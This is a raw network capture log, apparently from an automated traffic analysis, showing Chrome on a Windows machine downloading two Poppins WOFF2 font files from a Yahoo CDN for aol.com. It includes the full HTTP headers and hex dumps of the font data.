2024-05-23 22:34:36 UTC	581	OUT	GET /cv/apiv2/aolfp/fonts/poppins/Poppins-Semibold.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.aol.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.aolcdn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:36 UTC	816	IN	HTTP/1.1 200 OK x-amz-id-2: 8IqaSw5IMs7Z5vjV5+8iXnTJvet6vmrrbpOPs/eePo+8WJ8+529BtBQfKQPCTp1Mc97RGvnOhNs= x-amz-request-id: B8QPDBMKATY5YMXA Date: Thu, 11 Apr 2024 16:55:06 GMT Last-Modified: Wed, 25 Jan 2023 09:31:52 GMT ETag: "0cdbbfc728ac34db132f284a7066d40b" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 51100 Referrer-Policy: no-referrer-when-downgrade Age: 3649171 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 c7 9c 00 0d 00 00 00 02 61 a0 00 00 c7 43 00 04 01 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 40 1b a7 56 1c cc 76 06 60 00 85 52 0a 87 c2 60 86 a5 66 01 36 02 24 03 a1 0a 0b 90 48 00 04 20 05 8b 36 07 c5 15 5b f2 09 92 04 85 c7 ee 9e 01 b4 56 ea ae 2a fe 7d 3f fc 28 27 e2 11 c6 b8 fa 19 d0 73 b3 7c b0 63 55 c9 25 78 d3 d1 e4 76 0c 56 fd dc df ad ec ff ff ff ff ff fc 64 21 87 de 9f e4 fe 83 80 1a d0 76 dd 36 08 2e e3 10 0d f7 28 8e 28 2a 81 36 50 14 a6 f3 be 78 a9 c6 07 21 ec 18 4e 83 4e 66 9e b0 84 7d e4 37 a1 92 be 2e b5 56 4c 58 1b 7c 51 25 af f3 36 ed 0f 53 cc 21 5b 57 be 71 31 87 9a 07 3f 67 d6 5e db 8d db 0c 03 7f 66 33 5c 07 db fd 42 c0 c7 79 4b 36 8a ba e8 c6 d7 66 b7 0d 5f 65 4e 88 0d 78 31 87 Data Ascii: wOF2aC@Vv`R`f6$H 6[V}?('s\|cU%xvVd!v6.((6Px!NNf}7.VLX\|Q%6S![Wq1?g^f3\ByK6f_eNx1
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 9c 65 92 40 56 b8 80 c2 0a b0 4e 22 47 90 1d f1 41 6e 3c 3c 20 1e 03 0c c3 34 d2 98 02 cc ff ff b5 95 ef d8 a5 7d 44 33 a9 d1 68 b4 2c fa ce 44 f4 87 82 26 0e 69 2a b6 52 8b 6b e2 6c 63 e2 8a a5 ad 7d 43 68 4b b0 bc f3 e0 01 3d 0d 02 ca 3c 30 0f 65 80 43 26 9c 70 68 cb e1 e8 81 ca fd 4f 35 ab d4 8e b4 b5 d1 99 c8 65 1b 25 32 73 ce 84 1b 85 23 10 ec af 21 48 76 9d 7a ac 09 cf 9a 88 1f 0f 1f 0d 02 20 a7 d5 2d cd 1a 67 a3 ab cb a3 8b 2e 0d 37 3c ff df e9 cf a6 bc 84 b1 73 12 57 85 42 d9 d6 5d 89 92 7f bc 74 e6 2a ce d7 38 e4 16 aa 2e b8 ca 4a fc ff f6 e6 ec bd b3 fb c3 7b d4 a6 76 65 1c 42 b6 e6 70 6a 99 ff 37 c9 bc 99 39 27 f3 0b d5 11 45 2b c2 94 66 bb d3 04 21 89 4a 1c 12 a4 c0 69 cc 6f d9 1b ed 99 96 9c f3 e3 26 f0 07 4a 76 ab a5 1e ef aa d4 eb 9c 90 69 Data Ascii: e@VN"GAn<< 4}D3h,D&iRklc}ChK=<0eC&phO5e%2s#!Hvz -g.7<sWB]t8.J{veBpj79'E+f!Jio&Jvi
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 93 91 27 a1 72 2f cf b1 35 93 e7 cf 73 b7 51 b9 b6 b7 df d7 c4 b1 ae b1 a3 8a 43 f9 ee 3d ba b4 47 3e f9 5a 1a 7e c8 92 6c 73 d3 a5 df e5 59 6e a5 b9 3b d7 dd f9 48 d0 d2 1a 2f cc 87 e7 24 78 cd 6a f3 72 b7 8f e7 3b 52 cd 79 ce 54 ef d4 b5 b9 45 45 b9 4b 47 ee c8 31 5d 45 f9 00 7a da 73 61 48 71 99 7c 46 7e 1d d5 2c d7 d7 66 fa 0b eb 26 4e 18 c5 5a ea 87 ee c2 0c 17 24 f1 6a 64 14 1d 37 2c c7 06 cf cc 88 1d ee 92 94 42 49 2d ab 03 2d ee e5 15 5d 53 47 5b 08 08 ad 35 ac 92 a0 46 e5 2e db a9 a9 3e 80 15 2d d5 ec b1 be 4e 77 b9 f9 4d 98 bb 72 3c 4d 8a 39 18 c9 70 d4 01 50 e3 23 ca 90 89 e7 e8 c0 5d 73 a5 8c ff 93 e7 0a 3a 26 75 5a 76 d1 a6 c3 80 09 2b 76 30 3a 38 13 b3 fd 0a 15 2b 57 a1 52 15 9e 7a 37 b4 b8 e3 ae 56 ef 4d fb 64 d6 a2 65 7e b0 82 5e 57 27 ac Data Ascii: 'r/5sQC=G>Z~lsYn;H/$xjr;RyTEEKG1]EzsaHq\|F~,f&NZ$jd7,BI--]SG[5F.>-NwMr<M9pP#]s:&uZv+v0:8+WRz7VMde~^W'
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: d0 11 be a7 c8 2c 27 cd eb ca 7c 78 7c 79 3e d7 c5 20 a1 40 11 ed f5 de aa f7 e5 ef 48 1f f2 61 1f 71 94 39 8e 7f a1 f7 24 6e ba be c9 6e 99 fb ae eb 1c 87 30 24 c4 49 91 26 4b 57 bc 0a 26 0d 2c 4c 38 9c 2d 87 85 80 08 62 24 91 ed 44 a1 40 09 9d 2a 75 18 da f7 12 f0 3b 78 88 88 22 61 07 19 72 e4 51 29 63 50 a3 f9 51 3c 31 1e 66 cf 39 ea 50 0c 4c ab 93 af e6 1c 8f 80 e7 e8 04 c4 c3 a3 fb f2 d5 c2 23 14 06 31 30 a0 b9 e1 58 54 02 f4 b9 1f bc e2 a1 27 c7 27 28 17 71 4b d4 d1 08 68 c7 71 87 94 e5 e8 d6 01 6d 0e d4 8f b8 50 3d e2 41 2a f0 21 39 b4 6f f1 8e 58 c2 31 28 06 40 e0 c1 00 91 06 94 87 90 61 d9 01 89 94 02 20 0a 80 16 09 ba 5f 17 ff a8 0c 90 14 ac 98 b8 0d c5 01 18 08 09 14 bb 40 5e da 22 9d fe c9 a4 ff de 13 e5 2c 65 b5 4d d7 b2 98 fa 27 ea 6b 05 01 Data Ascii: ,'\|x\|y> @Haq9$nn0$I&KW&,L8-b$D@u;x"arQ)cPQ<1f9PL#10XT''(qKhqmP=A!9oX1(@a _@^",eM'k
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 74 19 b4 fb e4 72 de 8d 84 94 ac 46 2f 6b 49 74 d6 28 55 12 41 ee 25 49 86 84 df f0 a9 e7 32 8b 33 97 ca 96 c9 25 4e 82 56 1a c2 58 44 76 9f 7e 5e af be d0 77 92 7b ce 98 1f 14 8c 25 95 5b 81 ed 2e 23 a0 c2 d9 01 a5 ee ed ae d6 4f 41 25 14 13 b1 ed c1 78 74 5d 73 7b 17 74 d1 94 73 92 7b e0 46 77 6c 23 d2 27 0e ff 34 99 31 67 0d 85 d1 d0 32 ba 49 99 5a 7c 8d 6e b9 e3 c1 52 74 cf 8a 56 ad 27 41 b6 66 f4 18 06 7d 46 ac b8 38 e8 ba 1b ee 6f e3 a2 98 c2 56 0f 17 a7 4a 8d 3a 3d 86 2c 14 28 52 ac 5a 8d a6 7d 79 3c bb 43 4a ad 61 2d b6 3c 5a 12 9d 31 13 a6 d8 54 7b 79 ad 2e 07 0d 6e 6a 3e 79 16 cf 7d a5 3a 72 b0 c5 50 08 03 bc 33 a9 9b 56 a2 1b 36 5f 95 3b 66 e4 53 fe 6c bd 6a 39 6a ec dc 72 fe d5 49 c0 f1 50 d9 6f 7f c5 da 32 68 bc 46 5f 73 7e 4d cf 35 0d d7 44 Data Ascii: trF/kIt(UA%I23%NVXDv~^w{%[.#OA%xt]s{ts{Fwl#'41g2IZ\|nRtV'Af}F8oVJ:=,(RZ}y<CJa-<Z1T{y.nj>y}:rP3V6_;fSlj9jrIPo2hF_s~M5D
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 72 c6 13 5c 74 e6 e9 a0 30 f6 95 3a d8 60 15 cb ba 2c 98 61 22 de 12 c6 03 8a 62 50 25 d4 47 3a d4 b9 dc 68 57 88 a9 89 c4 64 50 6d eb 23 5c 0e 8a e3 b0 05 cd 70 d7 8f 5a 88 36 85 92 48 25 15 6e 82 9c 32 1f 51 6a 0e 25 8a 88 38 32 a1 70 fc 81 47 ae 5d 22 10 8f c0 23 cf c1 f3 74 ec e3 21 59 37 32 9b 90 41 4f ba 10 43 f3 f0 50 70 83 1b 20 82 40 45 c7 88 32 ec af ce 3e b0 83 f0 92 c8 70 21 54 40 07 0d 4a 54 ec 1a 28 80 82 9d 90 a1 b4 0b 48 96 c5 1d 1d 64 a4 b6 8e 3a 28 ac bc 95 eb c8 6e 81 dd 29 b7 a0 d9 15 26 9e 28 da 9e 22 8d 21 4c 42 33 e2 f4 14 6c a5 52 bd 61 de f4 d1 e3 af de aa 19 1f 4f 85 22 b9 32 f7 66 bf d4 85 c1 97 a1 2a 50 6d fd d5 b7 f6 47 e3 77 d1 ce 1f e7 57 63 19 9c ef ce b7 d4 62 6b e0 6b 74 66 53 9f 55 d7 a7 46 cb 9e eb 34 a8 9a 99 ae 8a 32 Data Ascii: r\t0:`,a"bP%G:hWdPm#\pZ6H%n2Qj%82pG]"#t!Y72AOCPp @E2>p!T@JT(Hd:(n)&("!LB3lRaO"2f*PmGwWcbkktfSUF42
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 77 f5 02 de 78 ef 31 62 cc 52 24 be 74 4e 4b f1 18 03 0f 99 34 ae 1e 99 34 19 3b c9 92 43 fb 42 11 51 be be d4 59 4b 10 81 42 5e ba 0c 99 67 11 00 b5 23 00 96 a7 00 16 5b 02 5e f5 22 00 5f fc 1b c0 9a 3f 03 2c de 05 00 46 b3 5d ea bd f4 6f 73 14 53 98 c7 5c 28 52 f3 cb 6f f5 2b 7f 40 34 0d e0 77 8c 9d 9e ef 38 19 90 0b 52 3d 0f 49 ed b6 13 7d b2 c2 56 cc 24 c9 b0 9d 10 95 7e b3 60 b5 b1 ab 6e 92 dd 2e ce 75 fd a6 b0 53 10 42 d0 97 ca 00 a7 07 21 80 e2 cf 0a 5d e3 98 95 a1 ad aa 6e fb 5a 82 0e 42 9d 3c 0d b4 4d 8a cc 7b 42 ec cd 9c 4c 6a e4 ad 9b 40 10 02 58 4b 8c 62 12 52 b0 46 d7 49 51 88 57 89 06 5a 52 70 5a 46 b4 61 51 75 ca 31 47 20 38 4a e7 67 d3 6c c3 8c d0 57 48 3a 0a d3 2d 49 df ea 76 70 35 45 30 4f 02 3b 20 48 4b 3e 73 a3 84 41 79 36 e7 63 5a be Data Ascii: wx1bR$tNK44;CBQYKB^g#[^"_?,F]osS\(Ro+@4w8R=I}V$~`n.uSB!]nZB<M{BLj@XKbRFIQWZRpZFaQu1G 8JglWH:-Ivp5E0O; HK>sAy6cZ
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 1a 0d df 7f 0f fa 3e f4 06 6b b5 0a 62 2c 5b 87 60 13 9c ad 96 b8 36 ed 35 fa 30 96 63 b0 0e 30 f3 78 e1 f1 9b e1 02 cc 25 93 6c d9 83 cc 19 9f b8 02 76 cf e6 82 6d 0b 75 8b a4 ee fe f9 d0 35 80 7e 08 17 e2 15 f3 02 0d 7e 1a 61 69 db 36 c2 6c 82 14 db 0d f6 e5 db fb d5 0a ef 0e fb bd 5e a7 d7 ef 0f 87 23 a7 a1 11 88 46 34 f5 3c 10 c3 2f 7d 72 ae 0d 02 c1 99 41 25 8d 6c 04 6f 08 8c 60 88 4c 0f 77 eb 37 5a cc 89 30 82 1c e4 c4 68 e0 9c fa 91 6b f2 da 8f 3c 05 07 3e f9 1e 51 e8 42 37 0c 5d cf 6b 67 2e 06 01 42 93 c8 69 d8 10 ad c2 38 c8 a5 1f ec 68 37 00 a5 8b 11 fa 44 fb 2b ee 28 37 6a c3 60 92 83 f5 69 7f 8e fe 82 62 17 c2 e7 49 24 0d 43 ee 8e 95 06 7a ae b1 6d 2a 06 cc 4d 3e 97 9e 5b 27 4d 10 7a 3e 87 ae df 98 b9 10 6e e8 9e 0a 2f 07 32 d7 41 87 04 02 a3 Data Ascii: >kb,[`650c0x%lvmu5~~ai6l^#F4</}rA%lo`Lw7Z0hk<>QB7]kg.Bi8h7D+(7j`ibI$Czm*M>['Mz>n/2A
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: ff 5d bd e8 5e 6a 47 21 2d c0 a4 33 f9 22 88 fb d1 9e 38 cc 00 30 3c b4 31 0a 59 dd c4 cc 5c 64 1c fc f8 47 f4 b2 f9 8d a6 00 25 3d 98 b6 f2 e3 94 30 0c d8 55 f6 22 ed 24 5b be ff 7d b4 01 f0 fa 3d b9 99 cc 5c 38 e0 88 c2 b0 81 d8 04 2b 29 03 a6 f0 0a 9a 10 cb a8 1e f4 3b db dc 88 4f 48 11 4c 6c 61 43 f9 88 d5 7a 55 1f 7e ea a3 30 ca 5e 3d 0f 29 95 51 41 16 30 10 d1 06 4c 71 54 39 28 ff 9c 6a 83 25 b9 43 2c c5 20 94 0d 1a 2b 7b 12 2f b0 1d 22 56 16 86 9a 18 9b 1c c3 7d 5d 3d 7b 95 4c 12 6b 82 50 11 ad 6a d3 71 ae 80 a4 b3 e5 0d 31 64 92 15 e1 da aa c9 31 01 52 77 94 27 08 d3 62 5a 50 9e ba cb ee 5d 14 18 82 95 d1 f0 50 cd 4a b9 00 6b 2f f2 e5 36 cf 2a d9 44 2f d7 49 6e 62 da a2 bc 81 d2 f3 3f 5f a1 7c 2d 81 f2 ca bb 90 df 21 37 5d 8d b3 06 0e f8 bf db ca Data Ascii: ]^jG!-3"80<1Y\dG%=0U"$[}=\8+);OHLlaCzU~0^=)QA0LqT9(j%C, +{/"V}]={LkPjq1d1Rw'bZP]PJk/6*D/Inb?_\|-!7]
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: c6 ce 35 06 d5 df 1a bd bb f3 48 24 c3 f1 f1 90 18 b3 31 db e0 c6 79 b3 4a c0 ef e5 0b a7 d9 cf 86 81 7a cb f7 84 cc 6b 26 63 68 87 36 92 9e 26 2e b0 18 b2 aa aa cc 70 8e 76 01 76 33 6d 8b 94 cb c1 b5 bd 18 0f 27 77 fd 67 8c 82 e7 48 05 0c d2 e4 46 8a 62 12 53 19 43 95 69 3e 72 e0 5c 1a 85 8f 6a 30 33 ce 12 a8 c5 79 19 c3 0a 65 b1 e3 7c 1b 4b d8 eb 11 0b bb 15 e6 6b 38 76 fd c0 9b 31 5d 09 2a b6 47 94 02 7c a3 12 91 2e 4a 94 cd e9 ea 98 cf fc e3 91 88 08 01 33 cf f1 b4 2f 2d 9d dd 92 7d 50 d6 c8 67 a0 d5 49 91 ad 67 92 26 60 69 f8 25 23 0e c2 ae 32 d3 3a 00 e5 56 f0 89 5a ae ca 80 51 69 74 b8 a5 36 1b 9d 05 42 fa d0 4b 50 db f8 af e6 52 f6 f4 cb d4 99 8b 97 a0 cd c0 bb 72 eb ba ca 9e 75 9e e2 4a 09 b5 f0 11 88 d4 89 e0 a9 b4 7f 5c 71 d9 db 95 33 51 c3 80 Data Ascii: 5H$1yJzk&ch6&.pvv3m'wgHFbSCi>r\j03ye\|Kk8v1]*G\|.J3/-}PgIg&`i%#2:VZQit6BKPRruJ\q3Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49767	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:36 UTC	579	OUT	GET /cv/apiv2/aolfp/fonts/poppins/Poppins-Medium.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.aol.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.aolcdn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:36 UTC	816	IN	HTTP/1.1 200 OK x-amz-id-2: FYCQiPv/1ZQHPZQkDSHAhHGpajZ3t16U54Ig8EhtLfviSMaOXj3BqzfnY9XJmHjgf1in+4Arn+Y= x-amz-request-id: 0JZ57KESX93SVE2N Date: Tue, 09 Apr 2024 03:06:09 GMT Last-Modified: Wed, 25 Jan 2023 09:31:52 GMT ETag: "5f64ea58a43603ddab8b2e538701f6f8" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 50492 Referrer-Policy: no-referrer-when-downgrade Age: 3871708 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 c5 3c 00 0d 00 00 00 02 66 8c 00 00 c4 e2 00 04 01 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 40 1b a7 2c 1c cc 76 06 60 00 85 52 0a 87 cd 08 86 b3 2e 01 36 02 24 03 a1 0a 0b 90 48 00 04 20 05 8b 26 07 c5 15 5b 80 10 92 04 85 e3 ee 5e a9 42 b0 d1 6d 08 94 d7 d9 34 ab 02 3e eb 0d 9c db 34 24 df 49 e7 8d 95 eb d5 a0 31 54 23 de be a7 00 ce 83 80 74 fe f5 a5 b3 ff ff ff ff ff b3 93 89 8c e5 e5 0a 97 34 b5 00 00 4c 7c 7d b7 41 70 99 08 67 35 23 52 52 18 b9 d4 da 23 b3 2b 95 99 51 27 4f f4 0c 22 99 59 c6 17 c7 2c db 04 97 59 37 13 81 7d 6b b9 06 d9 62 62 ee 4e 8e 88 5c d1 d1 fb c4 27 73 92 ba 5e 7f bc e1 f1 1c ee e6 2a 7f d1 e8 ad 77 44 45 8e 53 e6 e7 cd 6b f9 54 3e 95 bf 37 56 21 fa 1c 5d b0 19 2a ed 10 9b Data Ascii: wOF2<f@,v`R.6$H &[^Bm4>4$I1T#t4L\|}Apg5#RR#+Q'O"Y,Y7}kbbN\'s^wDESkT>7V!]
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 80 94 12 dc 32 72 66 11 46 00 cd a0 29 32 80 06 94 18 19 aa 3a 92 33 6d bb 9c c7 38 8a cf 3b 96 03 4a 85 02 1c 7c 3e d2 1f 3c 1c b6 9f 23 68 21 a0 9d c2 51 01 65 fc 18 71 a6 41 50 e7 c3 09 0e c3 e1 74 ca 33 19 0e e7 ff b3 df ac 5c e4 5e f0 52 78 95 90 45 63 f1 89 4a fd e7 47 d2 bc 69 6d 2e 69 a3 8d b8 36 08 96 77 1e 3c 06 e6 69 10 d0 cc 07 e0 13 1c 4a 04 cb e3 a0 f3 d0 9e 2d c9 33 1d 8c 06 e6 fb 5f 55 73 25 2d 5f 4a ed 63 86 b1 b4 35 e3 bd 3d cb 60 7d 7c f0 4b 00 09 d9 54 71 42 c9 51 4c db d7 1a 7d a5 03 a4 ed 80 74 79 ba 2e a7 d5 3e 67 db 93 31 5b 96 31 d3 96 17 ff 51 d5 aa 35 2d cf 68 f7 62 2c 9a 6b 4a 8d 26 97 9d 0d 81 7a b6 40 d2 13 34 9e 4b 21 f0 e3 e3 83 00 08 f2 e4 b8 21 84 72 ab eb ae ee ae ae b6 2b cf be f6 d6 6c f7 c5 ee 0b 8a 94 1d 6b 1c d9 08 Data Ascii: 2rfF)2:3m8;J\|><#h!QeqAPt3\^RxEcJGim.i6w<iJ-3_Us%-_Jc5=`}\|KTqBQL}ty.>g1[1Q5-hb,kJ&z@4K!!r+lk
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 38 aa ce 4f f1 b6 4f 40 8b b5 a4 62 f3 63 db 94 cd 36 b1 95 09 ee f7 36 a5 e2 55 5a 36 36 1f 22 8b cb 2b 08 70 8e 79 f4 de 2b 8a bd 7f 94 3e 25 ed bd 6b c3 37 a9 41 03 21 96 1a fa 9a 17 68 65 9e 69 a6 e5 35 4e 0a 56 8a ca 8d 71 2b 27 a0 94 4f 70 f6 d6 df 6c 45 61 12 bf ca 9f c6 24 3c c8 8d 7c 13 63 f9 f4 62 e4 e2 82 2e b3 07 9b 3c 9f a0 15 5e a0 65 45 9b 7c ba 1e 4a f5 1a 40 21 2b eb 1e ed c5 c1 05 3e b3 6f d7 ae 93 b0 54 07 92 36 43 44 b6 e1 a8 fa 59 32 83 92 46 8a bf 50 13 16 9c 48 5c 01 d4 b8 81 45 38 8c 43 d8 87 4d 53 23 55 c0 ff c8 f3 98 18 49 64 b2 e4 c8 53 a0 42 83 1e 23 3a 24 13 33 8b 9d d2 3d 97 23 57 9e 7c 34 a5 aa d4 7a ad 4e 93 45 4b 56 ad d9 b2 c3 2e 3f f9 2d 69 60 08 01 a1 20 3e 62 8e 93 a6 48 93 16 1d a7 51 4c 2c ac 6c ec 1c 5c dc 18 5e 3e Data Ascii: 8OO@bc66UZ66"+py+>%k7A!hei5NVq+'OplEa$<\|cb.<^eE\|J@!+>oT6CDY2FPH\E8CMS#UIdSB#:$3=#W\|4zNEKV.?-i` >bHQL,l\^>
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: 6f ab 53 de f9 e4 9b 5f 97 f2 ef c6 6b ba 6a 6a 15 49 34 d3 e6 f5 36 1a 26 58 e1 c0 8d 17 8e ee ba 38 49 c7 49 97 0c a1 f9 39 46 b0 b0 c0 8e 0b 0f 7e 78 42 44 88 91 40 86 ce ab bd 09 18 98 f5 7d 4e c7 f0 11 20 88 40 14 89 14 19 59 bf 91 df b6 6d 01 7e c1 39 2e 13 af 78 cd f7 f7 ff b4 1c 86 77 db 0a fc 4a 75 67 39 48 ec 76 09 bd 92 1f f7 6c 4c fa fb 54 76 45 57 77 37 18 9f ee e7 5c 27 bc fa 19 0d f0 ab f4 6b dd 21 a0 7c 4e 42 e4 73 12 21 ec 26 c6 33 fa 5d da b7 ab f3 fc 60 06 d5 1e de bf f8 0e 78 10 38 86 01 6e 1a a0 04 11 10 09 9c 22 fd aa ff 8e 11 b9 80 11 44 d0 3b e1 00 44 21 03 40 20 fa 55 ac ee f4 8b 3d 47 f9 eb af 7d 62 3d 46 93 c1 d3 08 ff 83 d4 86 5e ad e7 42 1f 3d 67 f5 84 1c e6 28 c7 62 a6 21 4a ba 36 a1 bf 3e 0c ff 99 ae 61 0d 1d 58 f7 de 88 0e Data Ascii: oS_kjjI46&X8II9F~xBD@}N @Ym~9.xwJug9HvlLTvEWw7\'k!\|NBs!&3]`x8n"D;D!@ U=G}b=F^B=g(b!J6>aX
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: f3 cb e9 77 f7 e5 e5 be 36 93 a6 cc 5a f0 25 22 d1 b8 6e f4 56 27 f2 1f 74 38 f0 71 38 52 46 86 ae 3e 17 bd d6 a0 59 87 83 08 1c 27 6b 9a d1 aa 51 1f cc d3 e8 5c d6 a3 d7 49 6f a3 1c 95 a8 16 28 17 78 9c 69 c4 eb cc ec 92 a5 3e 75 fe 04 7f 0d ea 2b d3 4d b4 17 63 46 b1 0a bc ca 5d f7 d4 5f 94 c6 60 b3 2b 91 69 ef 21 d3 bc 72 74 42 86 16 03 18 1d 3d 02 65 8f 6c 25 ca bd f4 5a 63 e2 12 b6 44 a5 58 d1 f1 f3 cc 90 28 53 a3 4d cf 59 bb 15 a9 50 a5 21 7f 0b 13 7c 42 87 8f b2 93 20 85 4c 95 8e 34 19 9e 2b 54 ac f2 50 76 d7 e2 b3 07 15 2a 45 7b 7b ac 88 51 a2 4e 93 3e 2d d2 4e 2f 94 a9 56 53 9b 28 c5 ea 86 f3 30 63 84 af cb c3 7f b8 00 73 ab 7c 2d 4d 2f a4 eb bd a6 6c 59 e5 77 30 bd 3c f3 9c c1 91 af d6 e5 3f 9e 35 4e bd f7 fa 2b f3 07 7b 69 ca 71 fb 4b 61 4c 83 Data Ascii: w6Z%"nV't8q8RF>Y'kQ\Io(xi>u+McF]_`+i!rtB=el%ZcDX(SMYP!\|B L4+TPv*E{{QN>-N/VS(0cs\|-M/lYw0<?5N+{iqKaL
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: ba c4 99 16 07 c5 94 3d af 43 1b d2 60 5d ca 43 0b 9a c5 c4 89 d4 a6 2c 18 09 95 0d 8e 25 93 2e 9f 22 72 62 d1 07 d1 b5 01 f8 bb 29 93 66 81 c1 71 38 94 6a e5 43 df 11 32 c6 8a a8 20 95 a2 71 13 c2 02 f9 48 d4 e6 88 4a 11 50 3a ae 2c 1f 7f 28 12 a1 5d 20 03 0f 48 ad e7 e4 79 2a fe f9 50 78 93 70 59 84 43 2f ac 46 a6 c8 44 6e ee 54 70 c0 16 d2 10 4a a1 a4 95 18 f6 2f 4d a2 78 51 42 72 21 8a a3 18 12 51 44 84 bb 06 85 10 8f fc c8 07 bc 4e 71 3c 6d c9 b1 0e 9a e2 ee 8f 30 28 94 a0 12 f0 71 3d 8c 07 65 0f d1 ae ee 38 a2 b0 f1 0b 0b 33 32 09 96 4d d0 7a 02 a3 11 bf 3d b0 6e e9 ec f1 97 de a4 46 39 9a 5c 19 92 3d 3a 9a 9b 3f ba b0 6b 63 a8 02 44 27 fc 39 67 e0 f7 8e 5b 4d 87 0e 42 fb 1d 3b 10 da 0e 7d 0f 6c 0d 55 7c 0b a1 b5 c0 17 52 b4 da 91 75 e4 86 c7 91 94 Data Ascii: =C`]C,%."rb)fq8jC2 qHJP:,(] Hy*PxpYC/FDnTpJ/MxQBr!QDNq<m0(q=e832Mz=nF9\=:?kcD'9g[MB;}lU\|Ru
2024-05-23 22:34:36 UTC	1300	IN	Data Raw: c5 2f 8b ab 8b 2b 8b 8b 8b 0b 8b 13 8b 75 dd 39 dd 99 1d ea f3 cf 19 85 81 01 c4 47 ce 32 9d 56 c8 e3 3f c2 41 b4 5e 25 26 82 85 78 b5 1a de e3 57 1a 31 66 06 9c df 3b 97 c4 cd 7c 0c 2c ce 72 4b d5 e0 c1 8b 0f 3f 1c 01 c4 ef 14 c1 44 6f d7 56 b8 e9 b0 80 27 88 2a c1 a3 d9 02 20 75 07 40 c9 64 a0 d8 09 70 fa 05 c0 83 37 00 e5 af 80 e2 55 00 b8 86 1e 36 3d 7d c2 ee 3b 02 d9 4e b0 35 58 73 fe 21 ed e6 46 82 ae 27 cb 37 c4 a2 fb 91 93 01 39 91 9a 69 88 41 78 6b 7d 2a c1 36 4c e8 64 c8 47 4d a5 4f 25 b1 da 49 c3 13 c9 9c 37 37 64 e6 d4 55 f7 9a 48 3f 85 26 37 36 b4 a2 e7 4b 5e c3 a6 40 2a 98 bb c7 ee dd 60 02 61 a0 e5 6b 79 0a 82 03 72 21 b7 b1 6e 3f 49 89 c5 2e 7a 0c b6 bd db a3 44 9e f6 e1 34 ed 55 b6 42 35 86 4e be 0a 51 15 67 30 63 4d 3e 4a e8 3c ae 6e 57 Data Ascii: /+u9G2V?A^%&xW1f;\|,rK?DoV'* u@dp7U6=};N5Xs!F'79iAxk}6LdGMO%I77dUH?&76K^@`akyr!n?I.zD4UB5NQg0cM>J<nW
